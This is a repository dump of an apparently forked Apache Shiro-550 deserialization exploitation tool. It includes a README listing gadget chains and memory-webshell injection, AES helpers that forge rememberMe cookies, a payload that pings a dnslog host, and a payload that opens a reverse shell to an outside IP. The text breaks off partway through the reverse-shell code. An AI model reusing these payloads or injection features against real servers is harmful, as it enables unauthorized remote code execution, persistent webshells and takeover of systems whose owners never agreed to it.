├── .idea ├── .gitignore ├── compiler.xml ├── jarRepositories.xml ├── misc.xml └── vcs.xml ├── README.md ├── docs ├── BypassWaf.md ├── CNAME ├── FAQ.md ├── NoGadget.md ├── README.md ├── _config.yml ├── ads.txt └── memshell.md ├── lib ├── 1.8.3 │ └── commons-beanutils-1.8.3.jar └── 1.9.2 │ └── commons-beanutils-1.9.2.jar ├── pom.xml └── src ├── META-INF └── MANIFEST.MF └── main ├── java ├── META-INF │ └── MANIFEST.MF ├── com │ └── summersec │ │ ├── attack │ │ ├── Encrypt │ │ │ ├── CbcEncrypt.java │ │ │ ├── Encrypt.java │ │ │ ├── EncryptInterface.java │ │ │ ├── GcmEncrypt.java │ │ │ ├── JcaCipherService.java │ │ │ ├── KeyGenerator.java │ │ │ ├── ShiroGCM.java │ │ │ └── package-info.java │ │ ├── UI │ │ │ ├── Main.java │ │ │ └── MainController.java │ │ ├── core │ │ │ ├── AttackService.java │ │ │ └── demo.java │ │ ├── deser │ │ │ ├── echo │ │ │ │ ├── AllEcho.java │ │ │ │ ├── EchoPayload.java │ │ │ │ ├── NoEcho.java │ │ │ │ ├── ReverseEcho.java │ │ │ │ ├── SpringEcho.java │ │ │ │ ├── TomcatEcho.java │ │ │ │ ├── TomcatEcho2.java │ │ │ │ └── dfs.java │ │ │ ├── frame │ │ │ │ ├── FramePayload.java │ │ │ │ └── Shiro.java │ │ │ ├── payloads │ │ │ │ ├── CommonsBeanutils1.java │ │ │ │ ├── CommonsBeanutils1_183.java │ │ │ │ ├── CommonsBeanutilsAttrCompare.java │ │ │ │ ├── CommonsBeanutilsAttrCompare_183.java │ │ │ │ ├── CommonsBeanutilsObjectToStringComparator.java │ │ │ │ ├── CommonsBeanutilsObjectToStringComparator_183.java │ │ │ │ ├── CommonsBeanutilsPropertySource.java │ │ │ │ ├── CommonsBeanutilsPropertySource_183.java │ │ │ │ ├── CommonsBeanutilsString.java │ │ │ │ ├── CommonsBeanutilsString_183.java │ │ │ │ ├── CommonsBeanutilsString_192s.java │ │ │ │ ├── CommonsCollections2.java │ │ │ │ ├── CommonsCollections3.java │ │ │ │ ├── CommonsCollectionsK1.java │ │ │ │ ├── CommonsCollectionsK2.java │ │ │ │ ├── ObjectPayload.java │ │ │ │ ├── URLDNS.java │ │ │ │ ├── annotation │ │ │ │ │ ├── Authors.java │ │ │ │ │ ├── Dependencies.java │ │ │ │ │ └── PayloadTest.java │ │ │ │ └── test.java │ │ │ ├── plugins │ │ │ │ ├── InjectMemTool.java │ │ │ │ ├── InjectPayload.java │ │ │ │ ├── keytest │ │ │ │ │ └── KeyEcho.java │ │ │ │ ├── orgFile │ │ │ │ │ └── InjectMemToolFile.java │ │ │ │ └── servlet │ │ │ │ │ └── MemBytes.java │ │ │ └── util │ │ │ │ ├── ClassFiles.java │ │ │ │ ├── CommonUtil.java │ │ │ │ ├── CommonUtils.java │ │ │ │ ├── DynamicDependencies.java │ │ │ │ ├── Gadgets.java │ │ │ │ ├── GadgetsK.java │ │ │ │ ├── Gadgets_orgin.java │ │ │ │ ├── Gadgetsasm.java │ │ │ │ ├── Gadgetsplugin.java │ │ │ │ ├── JavaVersion.java │ │ │ │ ├── JavassistClassLoader.java │ │ │ │ ├── Reflections.java │ │ │ │ ├── StandardExecutorClassLoader.java │ │ │ │ ├── Strings.java │ │ │ │ └── SuidClassLoader.java │ │ ├── entity │ │ │ ├── ControllersFactory.java │ │ │ └── RequestInfo.java │ │ └── utils │ │ │ ├── AesUtil.java │ │ │ ├── Console.java │ │ │ ├── ConvertUtil.java │ │ │ ├── HttpUtil.java │ │ │ ├── HttpUtil_bak.java │ │ │ ├── HttpUtils.java │ │ │ ├── MessageUtil.java │ │ │ ├── MyCert.java │ │ │ ├── UserAgentUtil.java │ │ │ └── Utils.java │ │ └── x │ │ ├── AddDllFilter.java │ │ ├── AntSwordFilter.java │ │ ├── AntSwordServlet.java │ │ ├── BastionEncryFilter.java │ │ ├── BastionFilter.java │ │ ├── BehinderFilter.java │ │ ├── BehinderServlet.java │ │ ├── ChangeShiroKeyFilter.java │ │ ├── ChangeShiroKeyFilter2.java │ │ ├── FilterMem.java │ │ ├── GodzillaFilter.java │ │ ├── GodzillaServlet.java │ │ ├── GodzillaTomServlet.java │ │ ├── NeoreGeorgFilter.java │ │ ├── NeoreGeorgServlet.java │ │ ├── Suo5Filter.java │ │ ├── Suo5Filterv0_6_0.java │ │ ├── UpgradeMemshell.java │ │ ├── reGeorgFilter.java │ │ └── reGeorgServlet.java └── org │ └── apache │ └── shiro │ ├── crypto │ └── cipher │ │ ├── AbstractSymmetricCipherService.java │ │ ├── AesCipherService.java │ │ ├── BlowfishCipherService.java │ │ ├── ByteSourceBroker.java │ │ ├── ByteSourceUser.java │ │ ├── CipherService.java │ │ ├── DefaultBlockCipherService.java │ │ ├── JcaCipherService.java │ │ ├── OperationMode.java │ │ ├── PaddingScheme.java │ │ ├── SimpleByteSourceBroker.java │ │ └── package-info.java │ ├── lang │ ├── ShiroException.java │ ├── codec │ │ ├── Base64.java │ │ ├── CodecException.java │ │ ├── CodecSupport.java │ │ ├── H64.java │ │ ├── Hex.java │ │ └── package-info.java │ └── util │ │ ├── Assert.java │ │ ├── ByteSource.java │ │ ├── ClassUtils.java │ │ ├── Destroyable.java │ │ ├── Factory.java │ │ ├── Initializable.java │ │ ├── InstantiationException.java │ │ ├── LifecycleUtils.java │ │ ├── Nameable.java │ │ ├── SimpleByteSource.java │ │ ├── SoftHashMap.java │ │ ├── StringUtils.java │ │ └── UnknownClassException.java │ └── util │ ├── ByteSourceWrapper.java │ └── ByteUtils.java └── resources ├── Tomcat.txt ├── allatori.xml ├── commons-beanutils-1.8.3.txt ├── data └── shiro_keys.txt ├── gui.fxml ├── gui.fxml.bak └── log4j.properties /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Editor-based HTTP Client requests 5 | /httpRequests/ 6 | # Datasource local storage ignored files 7 | /dataSources/ 8 | /dataSources.local.xml 9 | -------------------------------------------------------------------------------- /.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 17 | 18 | -------------------------------------------------------------------------------- /.idea/jarRepositories.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 14 | 15 | 19 | 20 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 一款针对Shiro550漏洞进行快速漏洞利用工具。 2 | 对 @SummerSec 大佬的项目https://github.com/SummerSec/ShiroAttack2 进行了一些改进。具体修改内容如下 3 | ## 添加 4 | - [x] 增加[Suo5](https://github.com/zema1/suo5) v0.8.0内存马 5 | - [x] 增加[UpgradeMemshell](https://mp.weixin.qq.com/s/RuP8cfjUXnLVJezBBBqsYw)内存马 6 | - [x] 增加内存马自定义payload key选项,消除工具特征 7 | - [x] 消除内存马pass、path特征 8 | 9 | 10 | ## 修改 11 | - [x] 修改加载keys的方式为`classLoader.getResourceAsStream`,不需要在工具目录下创建data/shiro_keys(若要自定义新增密钥,可以工具目录下创建data/shiro_keys) 12 | - [x] 修改了一些显示bug,如内存马已存在时显示信息过多 13 | - [x] 兼容新增内存马的显示,如UpgradeMemshell 14 | 15 | 有什么需求欢迎在issue里提 16 | 17 | 原README如下 18 | 19 | --- 20 | 21 | # 22 | 23 |

ShiroAttack2

24 |

一款针对Shiro550漏洞进行快速漏洞利用

25 |

26 | 27 | ShiroAttack2 28 | Forks 29 | Release 30 | Stars 31 | Follower 32 | Visitor 33 | SecSummers 34 | 35 | 36 |

37 | 38 | 39 | 40 | ## 前言 41 | 42 | 关于该工具更新内容介绍后续会更新到博客下面**https://shiro.sumsec.me/** 43 | 44 | ## 工具特点 45 | 46 | * javafx 47 | * 处理没有第三方依赖的情况 48 | * 支持多版本CommonsBeanutils的gadget 49 | * 支持内存马 50 | * 采用直接回显执行命令 51 | * 添加了更多的CommonsBeanutils版本gadget 52 | * 支持修改rememberMe关键词 53 | * 支持直接爆破利用gadget和key 54 | * 支持代理 55 | * 添加修改shirokey功能(使用内存马的方式)**可能导致业务异常** 56 | * 支持内存马小马 57 | * 添加DFS算法回显(AllECHO) 58 | * 支持自定义请求头,格式:abc:123&&&test:123 59 | 60 | ## FAQ 常见问题见 61 | 62 | [FAQ](./docs/FAQ.md) 63 | 64 | 65 | 66 | ## 使用方法 67 | 68 | 直接使用shiro_attack-{version}-SNAPSHOT-all.jar第三版 69 | 70 | ![image-20211130114603322](https://cdn.jsdelivr.net/gh/SummerSec/Images//49u5049ec49u5049ec.png) 71 | 72 | 在jar的当前目录下创建一个data文件夹,里面创建一个shiro_keys.txt文件,文件内容是shiro_key。lib目前是CommonsBeanutils依赖的版本。 73 | 74 | ![image-20211130113559530](https://cdn.jsdelivr.net/gh/SummerSec/Images//44u5044ec44u5044ec.png) 75 | 76 | 77 | 78 | --- 79 | 80 | ## :b:免责声明 81 | 82 | 该工具仅用于安全自查检测 83 | 84 | 由于传播、利用此工具所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。 85 | 86 | 本人拥有对此工具的修改和解释权。未经网络安全部门及相关部门允许,不得善自使用本工具进行任何攻击活动,不得以任何方式将其用于商业目的。 87 | 88 | 该工具只授权于企业内部进行问题排查,请勿用于非法用途,请遵守网络安全法,否则后果作者概不负责 89 | 90 | ---- 91 | 92 | ![as](https://starchart.cc/SummerSec/ShiroAttack2.svg) 93 | 94 | -------------------------------------------------------------------------------- /docs/BypassWaf.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/altEr1125/ShiroAttack2/5bd4ec1b1cf749ff684792cdcbe0976755e297ca/docs/BypassWaf.md -------------------------------------------------------------------------------- /docs/CNAME: -------------------------------------------------------------------------------- 1 | shiro.sumsec.me -------------------------------------------------------------------------------- /docs/FAQ.md: -------------------------------------------------------------------------------- 1 | 已知问题但目前无法解决 2 | 3 | 1. 有人反馈有些网站4.3版本能打,但4.4和4.5版本不行。排查了一波源码不同点,目前没找到问题所在地方。 4 | 2. 4.5版本更新ALLEcho之后,让工具变得“卡”,因为使用DFS算法,本身会有一定的延迟。这是算法本身原因,不可避免。所以4.5版本不建议使用爆破漏洞利用链功能,建议之间手动一个个尝试。 5 | 2. 部分环境可能存在的问题,详情情况。 https://github.com/SummerSec/ShiroAttack2/issues/8 -------------------------------------------------------------------------------- /docs/NoGadget.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/altEr1125/ShiroAttack2/5bd4ec1b1cf749ff684792cdcbe0976755e297ca/docs/NoGadget.md -------------------------------------------------------------------------------- /docs/README.md: -------------------------------------------------------------------------------- 1 | # shiro550反序列化漏洞利用工具 2 | 3 |

ShiroAttack2

4 |

一款针对Shiro550漏洞进行快速漏洞利用

5 |

6 | 7 | ShiroAttack2 8 | Forks 9 | Release 10 | Stars 11 | Follower 12 | Visitor 13 | ShiroDocs 14 | SecSummers 15 | 16 | 17 |

18 | 19 | 20 | --- 21 | ## 使用方法 22 | 23 | 直接使用shiro_attack-{version}-SNAPSHOT-all.jar第三版 24 | 25 | ![image-20211130114603322](https://cdn.jsdelivr.net/gh/SummerSec/Images//49u5049ec49u5049ec.png) 26 | 27 | 在jar的当前目录下创建一个data文件夹,里面创建一个shiro_keys.txt文件,文件内容是shiro_key。lib目前是CommonsBeanutils依赖的版本。 28 | 29 | ![image-20211130113559530](https://cdn.jsdelivr.net/gh/SummerSec/Images//44u5044ec44u5044ec.png) 30 | 31 | 特殊shiro漏洞打法(有时间再写): 32 | 33 | * 关于内存马模块的使用方法,请参考内存马模块的使用方法。 34 | [MemShell](./memshell.md) 35 | * 关于有key无链漏洞的使用方法,请参考无key漏洞的使用方法。 36 | [NoGadget](./NoGadget.md) 37 | * 关于bypass waf方法,请参考bypass waf方法。 38 | [BypassWaf](./BypassWaf.md) 39 | 40 | 41 | ## FAQ 常见问题见 42 | 43 | [FAQ](./FAQ.md) 44 | 45 | 46 | 47 | --- 48 | ## :b:免责声明 49 | 50 | 该工具仅用于安全自查检测 51 | 52 | 由于传播、利用此工具所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。 53 | 54 | 本人拥有对此工具的修改和解释权。未经网络安全部门及相关部门允许,不得善自使用本工具进行任何攻击活动,不得以任何方式将其用于商业目的。 55 | 56 | 该工具只授权于企业内部进行问题排查,请勿用于非法用途,请遵守网络安全法,否则后果作者概不负责 57 | 58 | ---- 59 | 60 | ![as](https://starchart.cc/SummerSec/ShiroAttack2.svg) -------------------------------------------------------------------------------- /docs/_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-cayman -------------------------------------------------------------------------------- /docs/ads.txt: -------------------------------------------------------------------------------- 1 | google.com, pub-4943002733193231, DIRECT, f08c47fec0942fa0 -------------------------------------------------------------------------------- /docs/memshell.md: -------------------------------------------------------------------------------- 1 | # -------------------------------------------------------------------------------- /lib/1.8.3/commons-beanutils-1.8.3.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/altEr1125/ShiroAttack2/5bd4ec1b1cf749ff684792cdcbe0976755e297ca/lib/1.8.3/commons-beanutils-1.8.3.jar -------------------------------------------------------------------------------- /lib/1.9.2/commons-beanutils-1.9.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/altEr1125/ShiroAttack2/5bd4ec1b1cf749ff684792cdcbe0976755e297ca/lib/1.9.2/commons-beanutils-1.9.2.jar -------------------------------------------------------------------------------- /src/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: com.summersec.attack.UI.Main 3 | 4 | -------------------------------------------------------------------------------- /src/main/java/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: com.summersec.attack.UI.Main 3 | 4 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/Encrypt/CbcEncrypt.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.Encrypt; 2 | 3 | import org.apache.shiro.codec.Base64; 4 | import org.apache.shiro.crypto.AesCipherService; 5 | import org.apache.shiro.util.ByteSource; 6 | import org.apache.shiro.util.SimpleByteSource; 7 | 8 | import java.io.ByteArrayOutputStream; 9 | import java.io.IOException; 10 | import java.io.ObjectOutputStream; 11 | 12 | public class CbcEncrypt implements EncryptInterface { 13 | @Override 14 | public String getName() { 15 | return "cbc"; 16 | } 17 | 18 | @Override 19 | public byte[] getBytes(Object obj) throws IOException { 20 | ByteArrayOutputStream byteArrayOutputStream = null; 21 | ObjectOutputStream objectOutputStream = null; 22 | byteArrayOutputStream = new ByteArrayOutputStream(); 23 | objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); 24 | objectOutputStream.writeObject(obj); 25 | objectOutputStream.flush(); 26 | return byteArrayOutputStream.toByteArray(); 27 | } 28 | 29 | @Override 30 | public String encrypt(String key, byte[] objectBytes) { 31 | 32 | byte[] keyDecode = Base64.decode(key); 33 | AesCipherService cipherService = new AesCipherService(); 34 | SimpleByteSource byteSource = (SimpleByteSource) cipherService.encrypt(objectBytes, keyDecode); 35 | return byteSource.toBase64(); 36 | 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/Encrypt/Encrypt.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.Encrypt; 2 | 3 | import sun.misc.BASE64Encoder; 4 | 5 | import javax.crypto.Cipher; 6 | import javax.crypto.spec.IvParameterSpec; 7 | import javax.crypto.spec.SecretKeySpec; 8 | import java.security.SecureRandom; 9 | 10 | /** 11 | * @ClassName: encrypy 12 | * @Description: TODO 13 | * @Author: Summer 14 | * @Date: 2021/1/19 20:25 15 | * @Version: v1.0.0 16 | * @Description: 17 | **/ 18 | public class Encrypt { 19 | 20 | public static String encrypt(byte[] serialized, byte[] key) throws Exception { 21 | 22 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");//"算法/模式/补码方式" 23 | 24 | int sizeInBytes = 16; 25 | byte[] iv = new byte[sizeInBytes]; 26 | SecureRandom random = new SecureRandom(); 27 | random.nextBytes(iv); 28 | SecretKeySpec skeySpec = new SecretKeySpec(key, "AES"); 29 | //偏移量 30 | IvParameterSpec ivSpec = new IvParameterSpec(iv); 31 | cipher.init(Cipher.ENCRYPT_MODE, skeySpec, ivSpec); 32 | byte[] encrypted = cipher.doFinal(serialized); 33 | byte[] output; 34 | output = new byte[iv.length + encrypted.length]; 35 | System.arraycopy(iv, 0, output, 0, iv.length); 36 | System.arraycopy(encrypted, 0, output, iv.length, encrypted.length); 37 | return (new BASE64Encoder().encode(output)).replaceAll("\r\n",""); 38 | } 39 | 40 | } 41 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/Encrypt/EncryptInterface.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.Encrypt; 2 | 3 | import java.io.IOException; 4 | 5 | public interface EncryptInterface { 6 | byte[] getBytes(Object obj) throws IOException; 7 | 8 | String encrypt(String key, byte[] objectBytes); 9 | 10 | String getName(); 11 | } 12 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/Encrypt/GcmEncrypt.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.Encrypt; 2 | 3 | import cn.hutool.crypto.SecureUtil; 4 | import cn.hutool.crypto.symmetric.AES; 5 | import org.apache.shiro.codec.Base64; 6 | 7 | import javax.crypto.Cipher; 8 | import javax.crypto.spec.GCMParameterSpec; 9 | import javax.crypto.spec.SecretKeySpec; 10 | import java.io.ByteArrayOutputStream; 11 | import java.io.IOException; 12 | import java.io.ObjectOutputStream; 13 | import java.security.NoSuchAlgorithmException; 14 | import java.security.SecureRandom; 15 | import java.util.Arrays; 16 | 17 | public class GcmEncrypt implements EncryptInterface { 18 | @Override 19 | public String getName() { 20 | return "gcm"; 21 | } 22 | 23 | @Override 24 | public byte[] getBytes(Object obj) throws IOException { 25 | ByteArrayOutputStream byteArrayOutputStream = null; 26 | ObjectOutputStream objectOutputStream = null; 27 | byteArrayOutputStream = new ByteArrayOutputStream(); 28 | objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); 29 | objectOutputStream.writeObject(obj); 30 | objectOutputStream.flush(); 31 | return byteArrayOutputStream.toByteArray(); 32 | } 33 | 34 | @Override 35 | public String encrypt(String key, byte[] payload) { 36 | try { 37 | byte[] raw = Base64.decode(key); 38 | byte[] ivs = generateInitializationVector(); 39 | SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES"); 40 | Cipher cipher = Cipher.getInstance("AES/GCM/PKCS5Padding"); 41 | GCMParameterSpec iv = new GCMParameterSpec(128, ivs); 42 | cipher.init(1, skeySpec, iv); 43 | byte[] encrypted = cipher.doFinal(pad(payload)); 44 | return new String(Base64.encode(byteMerger(ivs, encrypted))); 45 | } catch (Exception exception) { 46 | return "0"; 47 | } 48 | } 49 | 50 | private static SecureRandom secureRandom; 51 | 52 | private static int initializationVectorSize = 128; 53 | 54 | private static byte[] pad(byte[] s) { 55 | s = byteMerger(s, charToByte((char)(16 - s.length % 16))); 56 | return s; 57 | } 58 | 59 | private static byte[] charToByte(char c) { 60 | byte[] b = new byte[2]; 61 | b[0] = (byte)((c & 0xFF00) >> 8); 62 | b[1] = (byte)(c & 0xFF); 63 | return b; 64 | } 65 | 66 | private static byte[] byteMerger(byte[] bt1, byte[] bt2) { 67 | byte[] bt3 = new byte[bt1.length + bt2.length]; 68 | System.arraycopy(bt1, 0, bt3, 0, bt1.length); 69 | System.arraycopy(bt2, 0, bt3, bt1.length, bt2.length); 70 | return bt3; 71 | } 72 | 73 | private static byte[] generateInitializationVector() { 74 | int size = getInitializationVectorSize(); 75 | int sizeInBytes = size / 8; 76 | byte[] ivBytes = new byte[sizeInBytes]; 77 | SecureRandom random = ensureSecureRandom(); 78 | random.nextBytes(ivBytes); 79 | return ivBytes; 80 | } 81 | 82 | private static SecureRandom ensureSecureRandom() { 83 | SecureRandom random = getSecureRandom(); 84 | if (random == null) 85 | random = getDefaultSecureRandom(); 86 | return random; 87 | } 88 | 89 | private static SecureRandom getSecureRandom() { 90 | return secureRandom; 91 | } 92 | 93 | private static SecureRandom getDefaultSecureRandom() { 94 | try { 95 | return SecureRandom.getInstance("SHA1PRNG"); 96 | } catch (NoSuchAlgorithmException e) { 97 | return new SecureRandom(); 98 | } 99 | } 100 | 101 | private static int getInitializationVectorSize() { 102 | return initializationVectorSize; 103 | } 104 | } 105 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/Encrypt/JcaCipherService.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.Encrypt; 2 | 3 | /** 4 | * @ClassName: JcaCipherService 5 | * @Description: TODO 6 | * @Author: Summer 7 | * @Date: 2022/4/18 15:17 8 | * @Version: v1.0.0 9 | * @Description: 10 | **/ 11 | public class JcaCipherService { 12 | } 13 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/Encrypt/KeyGenerator.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.Encrypt; 2 | 3 | import org.apache.shiro.codec.Base64; 4 | 5 | import javax.crypto.SecretKey; 6 | import java.security.NoSuchAlgorithmException; 7 | 8 | /** 9 | * @ClassName: KeyGenerator 10 | * @Description: TODO 11 | * @Author: Summer 12 | * @Date: 2021/12/3 11:54 13 | * @Version: v1.0.0 14 | * @Description: 15 | **/ 16 | public class KeyGenerator { 17 | public static void main(String[] args) { 18 | KeyGenerator keyGenerator = new KeyGenerator(); 19 | System.out.println(keyGenerator.getKey()); 20 | 21 | } 22 | 23 | public String getKey() { 24 | javax.crypto.KeyGenerator keygen = null; 25 | try { 26 | keygen = javax.crypto.KeyGenerator.getInstance("AES"); 27 | } catch (NoSuchAlgorithmException e) { 28 | e.printStackTrace(); 29 | } 30 | SecretKey deskey = keygen.generateKey(); 31 | return Base64.encodeToString(deskey.getEncoded()); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/Encrypt/ShiroGCM.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.Encrypt; 2 | 3 | import org.apache.shiro.codec.Base64; 4 | import org.apache.shiro.crypto.AesCipherService; 5 | import org.apache.shiro.util.ByteSource; 6 | 7 | import java.io.ByteArrayOutputStream; 8 | import java.io.IOException; 9 | import java.io.ObjectOutputStream; 10 | 11 | /** 12 | * @ClassName: ShiroGCM 13 | * @Description: TODO 14 | * @Author: Summer 15 | * @Date: 2022/4/18 15:05 16 | * @Version: v1.0.0 17 | * @Description: 18 | **/ 19 | public class ShiroGCM implements EncryptInterface{ 20 | 21 | @Override 22 | public byte[] getBytes(Object obj) throws IOException { 23 | ByteArrayOutputStream byteArrayOutputStream = null; 24 | ObjectOutputStream objectOutputStream = null; 25 | byteArrayOutputStream = new ByteArrayOutputStream(); 26 | objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); 27 | objectOutputStream.writeObject(obj); 28 | objectOutputStream.flush(); 29 | return byteArrayOutputStream.toByteArray(); 30 | } 31 | 32 | @Override 33 | public String encrypt(String key, byte[] objectBytes) { 34 | try { 35 | byte[] keyDecode = Base64.decode(key); 36 | org.apache.shiro.crypto.cipher.AesCipherService cipherService = new org.apache.shiro.crypto.cipher.AesCipherService(); 37 | org.apache.shiro.lang.util.SimpleByteSource byteSource = ( org.apache.shiro.lang.util.SimpleByteSource) cipherService.encrypt(objectBytes, keyDecode); 38 | return byteSource.toBase64(); 39 | }catch (Exception e){ 40 | e.printStackTrace(); 41 | } 42 | 43 | return null; 44 | 45 | } 46 | 47 | @Override 48 | public String getName() { 49 | return "gcm"; 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/Encrypt/package-info.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.Encrypt; 2 | // 加密模块 -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/UI/Main.java: -------------------------------------------------------------------------------- 1 | 2 | package com.summersec.attack.UI; 3 | 4 | import com.summersec.attack.utils.HttpUtil_bak; 5 | import javafx.application.Application; 6 | import javafx.fxml.FXMLLoader; 7 | import javafx.scene.Parent; 8 | import javafx.scene.Scene; 9 | import javafx.stage.Stage; 10 | 11 | public class Main extends Application { 12 | public Main() { 13 | } 14 | 15 | @Override 16 | public void start(Stage primaryStage) throws Exception { 17 | Parent root = FXMLLoader.load(getClass().getResource("/gui.fxml")); 18 | primaryStage.setTitle("shiro反序列化漏洞综合利用工具 增强版"); 19 | Scene scene = new Scene(root); 20 | primaryStage.setScene(scene); 21 | primaryStage.show(); 22 | HttpUtil_bak.disableSslVerification(); 23 | } 24 | 25 | public static void main(String[] args) { 26 | launch(args); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/core/demo.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.core; 2 | 3 | import java.io.File; 4 | import java.io.FileInputStream; 5 | import java.security.SecureRandom; 6 | import java.util.Random; 7 | 8 | /** 9 | * @ClassName: demo 10 | * @Description: TODO 11 | * @Author: Summer 12 | * @Date: 2021/7/12 16:03 13 | * @Version: v1.0.0 14 | * @Description: 15 | **/ 16 | public class demo { 17 | public static String getRandomString(int length){ 18 | String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; 19 | SecureRandom random= new SecureRandom(); 20 | StringBuffer sb=new StringBuffer(); 21 | for(int i=0;i { 8 | CtClass genPayload(ClassPool paramClassPool) throws Exception; 9 | 10 | public static class Utils 11 | { 12 | public static Class getPayloadClass(String className) throws ClassNotFoundException { 13 | Class clazz = null; 14 | try { 15 | clazz = (Class)Class.forName("com.summersec.attack.deser.echo." + StringUtils.capitalize(className)); 16 | } catch (ClassNotFoundException e1) { 17 | clazz = (Class)Class.forName("com.summersec.attack.deser.plugins." + StringUtils.capitalize(className)); 18 | } catch (Exception e) { 19 | e.printStackTrace(); 20 | } 21 | return clazz; 22 | } 23 | } 24 | } 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/echo/NoEcho.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.echo; 2 | 3 | import javassist.CannotCompileException; 4 | import javassist.ClassPool; 5 | import javassist.CtClass; 6 | import javassist.NotFoundException; 7 | 8 | 9 | 10 | 11 | 12 | public class NoEcho implements EchoPayload { 13 | @Override 14 | public CtClass genPayload(ClassPool pool) throws NotFoundException, CannotCompileException { 15 | CtClass clazz = pool.makeClass("com.summersec.x.Test" + System.nanoTime()); 16 | String command = "ping 75eoht.dnslog.cn"; 17 | clazz.makeClassInitializer().insertAfter("new ProcessBuilder(System.getProperty(\"os.name\").toLowerCase().contains(\"windows\") ? new String[]{\"cmd.exe\", \"/c\", \"" + command + "\"} : new String[]{\"/bin/sh\", \"-c\", \"" + command + "\"}).start();"); 18 | return clazz; 19 | } 20 | } 21 | 22 | 23 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/echo/ReverseEcho.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.echo; 2 | 3 | /** 4 | * @ClassName: ReverseEcho 5 | * @Description: TODO 6 | * @Author: Summer 7 | * @Date: 2021/6/22 10:18 8 | * @Version: v1.0.0 9 | * @Description: 10 | **/ 11 | import javassist.CannotCompileException; 12 | import javassist.ClassPool; 13 | import javassist.CtClass; 14 | import javassist.CtNewConstructor; 15 | import javassist.NotFoundException; 16 | 17 | public class ReverseEcho implements EchoPayload { 18 | public ReverseEcho() { 19 | } 20 | 21 | @Override 22 | public CtClass genPayload(ClassPool pool) throws NotFoundException, CannotCompileException { 23 | CtClass clazz = pool.makeClass("com.summersec.x.Test" + System.nanoTime()); 24 | if (clazz.getDeclaredConstructors().length != 0) { 25 | clazz.removeConstructor(clazz.getDeclaredConstructors()[0]); 26 | } 27 | 28 | clazz.addConstructor(CtNewConstructor.make("public ReverseEcho() throws Exception {\n try {\n String ip = \"1.1.1.1\";\n String port = \"2333\";\n String py_path = null;\n String[] cmd;\n if (!System.getProperty(\"os.name\").toLowerCase().contains(\"windows\")) {\n String[] py_envs = new String[]{\"/bin/python\", \"/bin/python3\", \"/usr/bin/python\", \"/usr/bin/python3\", \"/usr/local/bin/python\", \"/usr/local/bin/python3\"};\n for (int i = 0; i < py_envs.length; ++i) {\n String py = py_envs[i];\n if ((new java.io.File(py)).exists()) {\n py_path = py;\n break;\n }\n }\n if (py_path != null) {\n if ((new java.io.File(\"/bin/bash\")).exists()) {\n cmd = new String[]{py_path, \"-c\", \"import pty;pty.spawn(\\\"/bin/bash\\\")\"};\n } else {\n cmd = new String[]{py_path, \"-c\", \"import pty;pty.spawn(\\\"/bin/sh\\\")\"};\n }\n } else {\n if ((new java.io.File(\"/bin/bash\")).exists()) {\n cmd = new String[]{\"/bin/bash\"};\n } else {\n cmd = new String[]{\"/bin/sh\"};\n }\n }\n } else {\n cmd = new String[]{\"cmd.exe\"};\n }\n Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();\n java.net.Socket s = new java.net.Socket(ip, Integer.parseInt(port));\n java.io.InputStream pi = p.getInputStream();\n java.io.InputStream pe = p.getErrorStream();\n java.io.InputStream si = s.getInputStream();\n java.io.OutputStream po = p.getOutputStream();\n java.io.OutputStream so = s.getOutputStream();\n while 